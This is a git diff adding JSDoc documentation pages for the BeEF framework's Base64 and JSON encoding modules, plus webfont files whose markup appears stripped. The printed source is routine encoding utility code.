+ + + + + diff --git a/docs/encode_base64.js.html b/docs/encode_base64.js.html new file mode 100644 index 000000000..127c4f553 --- /dev/null +++ b/docs/encode_base64.js.html @@ -0,0 +1,223 @@ + + + + + JSDoc: Source: encode/base64.js + + + + + + + + + + +
+ +

Source: encode/base64.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
+
+beef.encode = {};
+
+/** 
+ * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
+ * @namespace beef.encode.base64 
+ */
+beef.encode.base64 = {
+	
+	keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
+    encode : function (input) {
+        if (window.btoa) {
+           return btoa(unescape(encodeURIComponent(input)));
+        }
+
+        var output = "";
+        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
+        var i = 0;
+
+        input = beef.encode.base64.utf8_encode(input);
+
+        while (i < input.length) {
+
+            chr1 = input.charCodeAt(i++);
+            chr2 = input.charCodeAt(i++);
+            chr3 = input.charCodeAt(i++);
+
+            enc1 = chr1 >> 2;
+            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
+            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
+            enc4 = chr3 & 63;
+
+            if (isNaN(chr2)) {
+                enc3 = enc4 = 64;
+            } else if (isNaN(chr3)) {
+                enc4 = 64;
+            }
+
+            output = output +
+            this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
+            this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
+
+        }
+
+        return output;
+    },
+
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
+    decode : function (input) {
+        if (window.atob) {
+            return escape(atob(input));
+        }
+
+        var output = "";
+        var chr1, chr2, chr3;
+        var enc1, enc2, enc3, enc4;
+        var i = 0;
+
+        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
+
+        while (i < input.length) {
+
+            enc1 = this.keyStr.indexOf(input.charAt(i++));
+            enc2 = this.keyStr.indexOf(input.charAt(i++));
+            enc3 = this.keyStr.indexOf(input.charAt(i++));
+            enc4 = this.keyStr.indexOf(input.charAt(i++));
+
+            chr1 = (enc1 << 2) | (enc2 >> 4);
+            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
+            chr3 = ((enc3 & 3) << 6) | enc4;
+
+            output = output + String.fromCharCode(chr1);
+
+            if (enc3 != 64) {
+                output = output + String.fromCharCode(chr2);
+            }
+            if (enc4 != 64) {
+                output = output + String.fromCharCode(chr3);
+            }
+
+        }
+
+        output = beef.encode.base64.utf8_decode(output);
+
+        return output;
+
+    },
+
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} string
+     * @return {string}
+     */
+    utf8_encode : function (string) {
+        string = string.replace(/\r\n/g,"\n");
+        var utftext = "";
+
+        for (var n = 0; n < string.length; n++) {
+
+            var c = string.charCodeAt(n);
+
+            if (c < 128) {
+                utftext += String.fromCharCode(c);
+            }
+            else if((c > 127) && (c < 2048)) {
+                utftext += String.fromCharCode((c >> 6) | 192);
+                utftext += String.fromCharCode((c & 63) | 128);
+            }
+            else {
+                utftext += String.fromCharCode((c >> 12) | 224);
+                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
+                utftext += String.fromCharCode((c & 63) | 128);
+            }
+
+        }
+
+        return utftext;
+    },
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} utftext
+     * @return {string} 
+     */
+    utf8_decode : function (utftext) {
+        var string = "";
+        var i = 0;
+        var c = c1 = c2 = 0;
+
+        while ( i < utftext.length ) {
+
+            c = utftext.charCodeAt(i);
+
+            if (c < 128) {
+                string += String.fromCharCode(c);
+                i++;
+            }
+            else if((c > 191) && (c < 224)) {
+                c2 = utftext.charCodeAt(i+1);
+                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
+                i += 2;
+            }
+            else {
+                c2 = utftext.charCodeAt(i+1);
+                c3 = utftext.charCodeAt(i+2);
+                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
+                i += 3;
+            }
+
+        }
+
+        return string;
+    }
+
+};
+
+beef.regCmp('beef.encode.base64');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/encode_json.js.html b/docs/encode_json.js.html new file mode 100644 index 000000000..ec27ac608 --- /dev/null +++ b/docs/encode_json.js.html @@ -0,0 +1,191 @@ + + + + + JSDoc: Source: encode/json.js + + + + + + + + + + +
+ +

Source: encode/json.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** 
+ * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
+ * @namespace beef.encode.json
+ */
+
+beef.encode.json = {
+	/**
+     * @memberof beef.encode.json
+     * @param o 
+     */
+	stringify: function(o) {
+        if (typeof(JSON) == 'object' && JSON.stringify) {
+            // Error on stringifying cylcic structures caused polling to die
+            try {
+                s = JSON.stringify(o);    
+            } catch(error) {
+                // TODO log error / handle cyclic structures? 
+            }
+            return s;
+        }
+        var type = typeof(o);
+    
+        if (o === null)
+            return "null";
+    
+        if (type == "undefined")
+            return '\"\"';
+        
+        if (type == "number" || type == "boolean")
+            return o + "";
+    
+        if (type == "string")
+            return $j.quoteString(o);
+    
+        if (type == 'object')
+        {
+            if (typeof o.toJSON == "function") 
+                return $j.toJSON( o.toJSON() );
+            
+            if (o.constructor === Date)
+            {
+                var month = o.getUTCMonth() + 1;
+                if (month < 10) month = '0' + month;
+
+                var day = o.getUTCDate();
+                if (day < 10) day = '0' + day;
+
+                var year = o.getUTCFullYear();
+                
+                var hours = o.getUTCHours();
+                if (hours < 10) hours = '0' + hours;
+                
+                var minutes = o.getUTCMinutes();
+                if (minutes < 10) minutes = '0' + minutes;
+                
+                var seconds = o.getUTCSeconds();
+                if (seconds < 10) seconds = '0' + seconds;
+                
+                var milli = o.getUTCMilliseconds();
+                if (milli < 100) milli = '0' + milli;
+                if (milli < 10) milli = '0' + milli;
+
+                return '"' + year + '-' + month + '-' + day + 'T' +
+                             hours + ':' + minutes + ':' + seconds + 
+                             '.' + milli + 'Z"'; 
+            }
+
+            if (o.constructor === Array) 
+            {
+                var ret = [];
+                for (var i = 0; i < o.length; i++)
+                    ret.push( $j.toJSON(o[i]) || "null" );
+
+                return "[" + ret.join(",") + "]";
+            }
+        
+            var pairs = [];
+            for (var k in o) {
+                var name;
+                var type = typeof k;
+
+                if (type == "number")
+                    name = '"' + k + '"';
+                else if (type == "string")
+                    name = $j.quoteString(k);
+                else
+                    continue;  //skip non-string or number keys
+            
+                if (typeof o[k] == "function") 
+                    continue;  //skip pairs where the value is a function.
+            
+                var val = $j.toJSON(o[k]);
+            
+                pairs.push(name + ":" + val);
+            }
+
+            return "{" + pairs.join(", ") + "}";
+        }
+    },
+    /**
+     * @memberof beef.encode.json
+     * @param string 
+     */
+    quoteString: function(string) {
+        if (string.match(this._escapeable))
+        {
+            return '"' + string.replace(this._escapeable, function (a) 
+            {
+                var c = this._meta[a];
+                if (typeof c === 'string') return c;
+                c = a.charCodeAt();
+                return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
+            }) + '"';
+        }
+        return '"' + string + '"';
+    },
+    
+    _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
+    
+    _meta : {
+        '\b': '\\b',
+        '\t': '\\t',
+        '\n': '\\n',
+        '\f': '\\f',
+        '\r': '\\r',
+        '"' : '\\"',
+        '\\': '\\\\'
+    }
+};
+
+$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
+$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
+
+beef.regCmp('beef.encode.json');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/fonts/OpenSans-Bold-webfont.eot b/docs/fonts/OpenSans-Bold-webfont.eot new file mode 100644 index 000000000..5d20d9163 Binary files /dev/null and b/docs/fonts/OpenSans-Bold-webfont.eot differ diff --git a/docs/fonts/OpenSans-Bold-webfont.svg b/docs/fonts/OpenSans-Bold-webfont.svg new file mode 100644 index 000000000..3ed7be4bc --- /dev/null +++ b/docs/fonts/OpenSans-Bold-webfont.svg @@ -0,0 +1,1830 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Bold-webfont.woff b/docs/fonts/OpenSans-Bold-webfont.woff new file mode 100644 index 000000000..1205787b0 Binary files /dev/null and b/docs/fonts/OpenSans-Bold-webfont.woff differ diff --git a/docs/fonts/OpenSans-BoldItalic-webfont.eot b/docs/fonts/OpenSans-BoldItalic-webfont.eot new file mode 100644 index 000000000..1f639a15f Binary files /dev/null and b/docs/fonts/OpenSans-BoldItalic-webfont.eot differ diff --git a/docs/fonts/OpenSans-BoldItalic-webfont.svg b/docs/fonts/OpenSans-BoldItalic-webfont.svg new file mode 100644 index 000000000..6a2607b9d --- /dev/null +++ b/docs/fonts/OpenSans-BoldItalic-webfont.svg @@ -0,0 +1,1830 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-BoldItalic-webfont.woff b/docs/fonts/OpenSans-BoldItalic-webfont.woff new file mode 100644 index 000000000..ed760c062 Binary files /dev/null and b/docs/fonts/OpenSans-BoldItalic-webfont.woff differ diff --git a/docs/fonts/OpenSans-Italic-webfont.eot b/docs/fonts/OpenSans-Italic-webfont.eot new file mode 100644 index 000000000..0c8a0ae06 Binary files /dev/null and b/docs/fonts/OpenSans-Italic-webfont.eot differ diff --git a/docs/fonts/OpenSans-Italic-webfont.svg b/docs/fonts/OpenSans-Italic-webfont.svg new file mode 100644 index 000000000..e1075dcc2 --- /dev/null +++ b/docs/fonts/OpenSans-Italic-webfont.svg @@ -0,0 +1,1830 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Italic-webfont.woff b/docs/fonts/OpenSans-Italic-webfont.woff new file mode 100644 index 000000000..ff652e643 Binary files /dev/null and b/docs/fonts/OpenSans-Italic-webfont.woff differ diff --git a/docs/fonts/OpenSans-Light-webfont.eot b/docs/fonts/OpenSans-Light-webfont.eot new file mode 100644 index 000000000..14868406a Binary files /dev/null and b/docs/fonts/OpenSans-Light-webfont.eot differ diff --git a/docs/fonts/OpenSans-Light-webfont.svg b/docs/fonts/OpenSans-Light-webfont.svg new file mode 100644 index 000000000..11a472ca8 --- /dev/null +++ b/docs/fonts/OpenSans-Light-webfont.svg @@ -0,0 +1,1831 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Light-webfont.woff b/docs/fonts/OpenSans-Light-webfont.woff new file mode 100644 index 000000000..e78607481 Binary files /dev/null and b/docs/fonts/OpenSans-Light-webfont.woff differ diff --git a/docs/fonts/OpenSans-LightItalic-webfont.eot b/docs/fonts/OpenSans-LightItalic-webfont.eot new file mode 100644 index 000000000..8f445929f Binary files /dev/null and b/docs/fonts/OpenSans-LightItalic-webfont.eot differ diff --git a/docs/fonts/OpenSans-LightItalic-webfont.svg b/docs/fonts/OpenSans-LightItalic-webfont.svg new file mode 100644 index 000000000..431d7e354 --- /dev/null +++ b/docs/fonts/OpenSans-LightItalic-webfont.svg @@ -0,0 +1,1835 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 